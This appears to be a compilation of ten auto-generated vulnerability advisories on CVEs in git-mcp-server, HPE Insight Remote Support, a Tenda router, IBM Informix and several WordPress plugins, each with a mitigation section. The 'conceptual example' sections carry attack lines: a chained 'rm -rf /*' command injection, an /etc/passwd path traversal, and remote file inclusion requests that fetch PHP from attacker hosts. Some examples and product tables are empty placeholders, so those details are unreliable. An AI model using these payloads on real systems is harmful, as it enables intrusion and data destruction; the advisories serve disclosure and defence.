Author: Ameeba

Overview

This report details a critical vulnerability (CVE-2025-53107) in @cyanheads/git-mcp-server, an MCP server designed to interact with Git repositories. The vulnerability poses a significant risk to any organization using versions of the server prior to 2.1.5. If exploited, this vulnerability could lead to a total system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53107
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Total system compromise or data leakage

Affected Products

Product | Affected Versions

@cyanheads/git-mcp-server | Prior to 2.1.5

How the Exploit Works

The vulnerability stems from an insecure use of input parameters within a call to child_process.exec in @cyanheads/git-mcp-server. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This allows for the injection of shell metacharacters (|, >, &&, etc.), enabling an attacker to inject arbitrary system commands. If successfully exploited, this vulnerability can lead to remote code execution under the server process’s privileges, which in turn can lead to a full system compromise or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited. Please note that this is illustrative and does not represent an actual exploit.

# Connect to the server
$ mcp-client connect target.example.com
# Inject malicious command
$ mcp-client exec "git log; rm -rf /*"

In this example, an attacker connects to the target server using a vulnerable MCP client and then executes a command that first performs a harmless action (reading git logs) followed by a destructive action (deleting all files on the system).

Mitigation Guidance

Users of @cyanheads/git-mcp-server should immediately upgrade to version 2.1.5 or later, which contains a patch for this vulnerability. If upgrading is not immediately possible, temporary mitigation can be achieved by using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or detect malicious commands.

Overview

This report details a critical path traversal vulnerability (CVE-2025-37098) found in HPE Insight Remote Support (IRS) versions prior to v7.15.0.646. This vulnerability could potentially lead to system compromise or data leakage, posing a significant risk to any organization utilizing affected versions of HPE IRS. Immediate action is recommended to mitigate this risk.

Vulnerability Summary

CVE ID: CVE-2025-37098
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

HPE Insight Remote Support | Prior to v7.15.0.646

How the Exploit Works

A path traversal vulnerability exists in HPE Insight Remote Support which allows an attacker to access files or directories that are stored outside the web root folder. By manipulating variables that reference files with ‘dot-dot-slash (../)’ sequences and its variations, it may be possible to access arbitrary files and directories stored on the system, potentially leading to sensitive information disclosure or system compromise.

Conceptual Example Code

This conceptual example demonstrates how an attacker might exploit this vulnerability via an HTTP request to a vulnerable endpoint:

GET /download?file=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker seeks to download the `/etc/passwd` file, which contains user password hashes on a Unix-like system. If successful, this could lead to unauthorized access and potential system compromise.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to filter out malicious requests that attempt to exploit this vulnerability.

Overview

A vulnerability has been identified in HPE Insight Remote Support (IRS), a popular remote monitoring and management software. The versions prior to v7.15.0.646 are susceptible to a Denial of Service (DoS) attack. Such a vulnerability matters because it can be exploited by an unauthenticated attacker, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-37097
Severity: High (CVSS v3 Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: This vulnerability can lead to denial of service, system compromise, or potential data leakage if exploited successfully.

Affected Products

Product | Affected Versions

HPE Insight Remote Support | Versions prior to v7.15.0.646

How the Exploit Works

An attacker can exploit this vulnerability by sending specially crafted packets to the affected HPE Insight Remote Support software. Since the software does not properly handle these packets, it can lead to a denial of service condition, compromising the system’s availability. In certain scenarios, this vulnerability can also be leveraged to execute arbitrary code or access sensitive data.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /IRS_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "dos_payload": "specially_crafted_packet" }

In this example, the `dos_payload` could be a specially crafted packet that when processed by the IRS software, triggers the vulnerability leading to a denial of service condition.

Mitigation Guidance

To protect against this vulnerability, it is recommended to apply the vendor’s patch by upgrading HPE Insight Remote Support to version v7.15.0.646 or later. If an immediate upgrade is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to detect and block malicious packets targeting the vulnerability.

Overview

The vulnerability in question, CVE-2024-53621, is a serious buffer overflow flaw found in the formSetCfm() function of Tenda AC1206 1200M 11ac US_AC1206V1.0RTL_V15.03.06.23_multi_TD01. It is of significant concern as it allows malicious actors to cause a Denial of Service (DoS) attack on systems using a carefully crafted POST request.

Vulnerability Summary

CVE ID: CVE-2024-53621
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Tenda AC1206 1200M 11ac | US_AC1206V1.0RTL_V15.03.06.23_multi_TD01

How the Exploit Works

The exploit works by an attacker crafting a malicious POST request targeting the formSetCfm() function in the Tenda AC1206 router. This causes a buffer overflow, which allows the attacker to cause a Denial of Service attack, potentially compromise the system and leak data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request:

POST /formSetCfm HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [Continue until buffer overflow is triggered]

Please note that the example above is a conceptual representation and may not work in a real-world scenario without appropriate modifications.

Mitigation Guidance

To mitigate this vulnerability, users are recommended to apply the patch provided by the vendor. If a patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.

Overview

This report explores the critical vulnerability identified as CVE-2024-8419. This security flaw affects systems hosting specific endpoint scripts, and its exploitation could lead to unauthorized system compromise or data leakage. Primarily, the vulnerability emerges from the absence of authentication, allowing an unauthorized remote attacker to manipulate the system over the network.

Vulnerability Summary

CVE ID: CVE-2024-8419
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

[Product 1] | [Version 1]
[Product 2] | [Version 2]

How the Exploit Works

The exploit works by an attacker sending malicious requests to the vulnerable endpoint. Due to the lack of authentication measures, the system does not verify the legitimacy of the request and processes it. This allows the attacker to put the system into a fail-safe state remotely, potentially leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of an HTTP request that a remote attacker might use to exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "trigger_failsafe" }

In this request, the attacker sends a malicious payload that triggers the system’s fail-safe state. Due to the lack of authentication, the system processes this request as if it comes from a legitimate user, leading to potential system compromise or data leakage.

Mitigation Guidance

To mitigate the CVE-2024-8419 vulnerability, it is recommended that users immediately apply the patch provided by the vendor. If a patch is not immediately available, users should implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block exploit attempts.

Overview

The cybersecurity landscape is constantly under threat from new vulnerabilities. One such critical vulnerability, CVE-2025-1991, affects IBM’s Informix Dynamic Server versions 12.10, 14.10, and 15.0. This vulnerability could potentially allow a remote attacker to cause a denial of service (DoS) in the affected systems, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-1991
Severity: High – CVSS:7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The vulnerability could allow an attacker to cause a denial of service, potentially compromising the system or leading to data leakage.

Affected Products

Product | Affected Versions

IBM Informix Dynamic Server | 12.10
IBM Informix Dynamic Server | 14.10
IBM Informix Dynamic Server | 15.0

How the Exploit Works

The vulnerability lies in the processing packets of the IBM Informix Dynamic Server. An integer underflow error when processing packets allows for a remote attacker to send specifically crafted packets to the server, disrupting its normal functioning and causing a denial of service. This could potentially lead to unauthorized access to sensitive information or even system compromise.

Conceptual Example Code

This is a theoretical example of how an attacker might exploit the vulnerability using a crafted packet.

POST /process_packet HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"packet": {
"size": -1,
"content": "malicious_content"
}
}

In this example, the packet size is set to -1, potentially triggering the integer underflow error in the server’s packet processing function.

Mitigation Guidance

Users are advised to apply the vendor-provided patch to fix this vulnerability as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

The vulnerability identified as CVE-2025-53339 is a significant security flaw within the devnex Devnex Addons For Elementor. The issue arises from improper control of filename for Include/Require Statement in PHP Program, which allows for PHP Local File Inclusion. This vulnerability can potentially lead to system compromise or data leakage, posing a severe threat to users of the affected versions of Devnex Addons For Elementor.

Vulnerability Summary

CVE ID: CVE-2025-53339
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Devnex Addons For Elementor | Up to and including 1.0.9

How the Exploit Works

The exploit takes advantage of the improper control of filename within the PHP code of Devnex Addons For Elementor. An attacker can manipulate Include/Require statements to include files from remote servers, thereby leading to Remote File Inclusion (RFI). This vulnerability allows an attacker to execute arbitrary PHP code within the server’s context leading to potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. The attacker sends a POST request with the malicious payload to the vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "http://attacker.com/malicious.php" }

In this example, `http://attacker.com/malicious.php` is a PHP file hosted on the attacker’s server, designed to perform malicious actions when included and executed on the target server.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits.

Overview

The CVE-2025-53281 vulnerability is a critical security flaw that affects the WPBean WPB Category Slider for WooCommerce plugin. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), which can potentially lead to system compromise or data leakage. Given the widespread usage of WooCommerce, this vulnerability poses a significant risk to many online businesses and requires immediate attention for its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53281
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WPBean WPB Category Slider for WooCommerce | n/a through 1.71

How the Exploit Works

The exploit takes advantage of the improper control of filename for Include/Require Statement in the PHP Program. This allows an attacker to include a file from a remote server that contains malicious PHP code, thus causing a PHP Remote File Inclusion vulnerability. The malicious code is then executed in the context of the application, leading to unauthorized access, data compromise, and potentially gaining control over the system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request.

GET /wp-content/plugins/wpb-woo-product-slider/includes/wpb-wps-ajax.php?path=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker has included a malicious PHP file (`malicious.php`) from their own server (`attacker.com`). This file is included in the context of the WPB Category Slider for WooCommerce plugin, thereby executing the malicious code.

Mitigation

Users of the affected versions of WPBean WPB Category Slider for WooCommerce are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

The cybersecurity landscape is again faced with a potent threat – a PHP Remote File Inclusion vulnerability, identified as CVE-2025-53259. This vulnerability affects users of the Hotel Booking system developed by Nicdark. The issue arises from the improper control of filename for the Include/Require statement in the PHP program. It carries a significant risk due to its potential to compromise systems or lead to data leakage, emphasizing the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53259
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Nicdark Hotel Booking | Through 3.7

How the Exploit Works

The exploit targets the improper control of filename handling for Include/Require statement in the PHP program. An attacker could manipulate these statements to include files from remote servers. This process, known as PHP Remote File Inclusion (RFI), allows the attacker to execute arbitrary code on the affected application. This could potentially lead to a system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker is injecting a malicious PHP file hosted on their server (`http://malicious.example.com/malicious.php`) into the vulnerable application. When the server processes the request, it includes the malicious file, leading to arbitrary code execution.

Mitigation and Recommendations

Users are advised to apply the vendor patch to fix this vulnerability. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as adhering to security best practices, can significantly reduce the risk of such vulnerabilities.

Overview

A critical vulnerability has been discovered in the Gmedia Photo Gallery, a popular photo gallery software developed by Serhii Pasyuk. This vulnerability, officially labeled as CVE-2025-53257, resides in the improper control of filename for include/require statement in the software’s PHP program. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant risk to any organization or individual utilizing the Gmedia Photo Gallery software.

Vulnerability Summary

CVE ID: CVE-2025-53257
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Gmedia Photo Gallery | up to version 1.23.0

How the Exploit Works

The vulnerability stems from an improper control of filename for include/require statement in the PHP program of the Gmedia Photo Gallery software. An attacker can exploit this by remotely including a file from a server of their choice, thereby manipulating the path of the file. This can allow the attacker to execute arbitrary PHP code on the server running the Gmedia Photo Gallery application.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited, by making a HTTP request with a malicious payload:

GET /gmedia-gallery.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker is instructing the server to fetch and execute a PHP file from an external source (`attacker.com`).

Mitigation Guidance

Users are advised to update their Gmedia Photo Gallery software to the latest version, as patches have been applied to mitigate this vulnerability. In the absence of an immediate update, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation strategy.